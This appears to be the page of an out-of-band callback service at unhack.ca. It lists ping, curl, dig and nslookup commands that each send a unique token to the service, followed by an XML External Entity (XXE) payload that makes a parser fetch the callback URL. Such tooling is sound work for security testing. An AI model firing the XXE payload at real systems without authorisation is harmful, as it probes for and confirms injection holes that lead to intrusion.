$ ping -c1 -p 009f58ab9697ba4fe9fb882d7c4c0300 unhack.ca
 
$ curl http://unhack.ca/p/9f58ab9697ba4fe9fb882d7c4c03
 
$ dig 9f58ab9697ba4fe9fb882d7c4c03 @unhack.ca
 
$ dig 9f58ab9697ba4fe9fb882d7c4c03.ns.unhack.ca
 
C:\> nslookup 9f58ab9697ba4fe9fb882d7c4c03 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9f58ab9697ba4fe9fb882d7c4c03">]>
    <foo>&xxe;</foo>
 
Waiting for ping...